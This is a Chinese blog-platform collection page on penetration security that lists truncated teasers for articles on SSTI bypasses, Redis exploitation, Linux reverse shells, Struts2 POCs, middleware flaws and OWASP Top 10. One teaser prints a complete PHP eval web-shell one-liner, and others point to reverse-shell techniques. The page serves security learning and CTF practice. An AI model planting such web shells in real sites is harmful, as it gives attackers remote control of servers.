寒假前最后一篇文章說來也巧，前兩天在ichunqiu上連續(xù)做了兩道題居然都是模板注入。搜索資料之余也漲了不少見識(shí)，下面總結(jié)下這類題目的bypas...
投稿
收錄了24篇文章 · 15人關(guān)注
-
SSTI bypass 總結(jié)
-
Redis未授權(quán)漏洞利用方式
總結(jié)一下redis未授權(quán)拿shell: redis-cli -h ip info 查看系統(tǒng)類型 Windows： 1.找網(wǎng)站絕對(duì)路徑2.conf...
-
Linux 幾種反彈shell方式
寫簡單些給自己用的，省得每次記不住都得靠度娘接收端主機(jī)利用nc監(jiān)聽端口 放個(gè)nc: https://pan.baidu.com/s/1B0jeh...
-
[WEB] [struts2]整理java中間件漏洞POC
0x01前言 進(jìn)行了快一年的java中間件的漏洞分析，準(zhǔn)備寫一篇文章整理記錄一下漏洞利用方法，方便大家參考。 0x02POC struts2 S...
-
中間件漏洞總結(jié)報(bào)告中間件漏洞總結(jié)報(bào)告 一、 IIS解析漏洞 首先一般文件解析漏洞用于各種上傳漏洞中，在文件上傳的地方一般會(huì)限制用戶上傳文件的后綴名。在實(shí)際環(huán)境中I...
-
Linux下幾種常見的反彈shell方式最近在做ctf題時(shí)碰到一些命令執(zhí)行題借用命令執(zhí)行來反彈shell，這里記錄一下。 1.bash反彈shell 個(gè)人感覺bash反彈是最簡單、也是...
-
服務(wù)器代理（正向與反向）官方概念 正向代理（ Forward Proxy ）：是指是一個(gè)位于客戶端和原始服務(wù)器之間的服務(wù)器，為了從原始服務(wù)器取得內(nèi)容， 客戶端向代理發(fā)送...
-
各種一句話
PHP一句話：1、普通一句話<?php @eval($_POST['pass']);?> 2、防爆破一句話<?php substr(md5($_...
-
OWASP TOP 10漏洞及防范
A1 注入 Injection Web安全頭號(hào)大敵。注入攻擊漏洞往往是應(yīng)用程序缺少對(duì)輸入進(jìn)行安全性檢查所引起的。攻擊者把一些包含攻擊代碼當(dāng)做命令...
-
Java中session、cookie、token的區(qū)別一.Cookie 1.什么是cookie? Cookie 技術(shù)產(chǎn)生源于 HTTP 協(xié)議在互聯(lián)網(wǎng)上的急速發(fā)展。隨著互聯(lián)網(wǎng)時(shí)代的策馬奔騰，帶寬等限制...
{var%20f='http://v.t.sina.com.cn/share/share.php?appkey=1881139527',u=z||d.location,p=['&url=',e(u),'&title=',e(t||d.title),'&source=',e(r),'&sourceUrl=',e(l),'&content=',c||'gb2312','&pic=',e(p||'')].join('');function%20a(){if(!window.open([f,p].join(''),'mb',['toolbar=0,status=0,resizable=1,width=440,height=430,left=',(s.width-440)/2,',top=',(s.height-430)/2].join('')))u.href=[f,p].join('');};if(/Firefox/.test(navigator.userAgent))setTimeout(a,0);else%20a();})(screen,document,encodeURIComponent,'','','https://upload.jianshu.io/collections/images/340894/android.graphics.Bitmap_feda2f7.jpeg', '推薦專題《滲透安全》（ 分享自 @簡書 ）','http://www.itdecent.cn/c/4e768b24e648?utm_campaign=maleskine&utm_content=collection&utm_medium=reader_share&utm_source=weibo','頁面編碼gb2312|utf-8默認(rèn)gb2312'));){kind=link}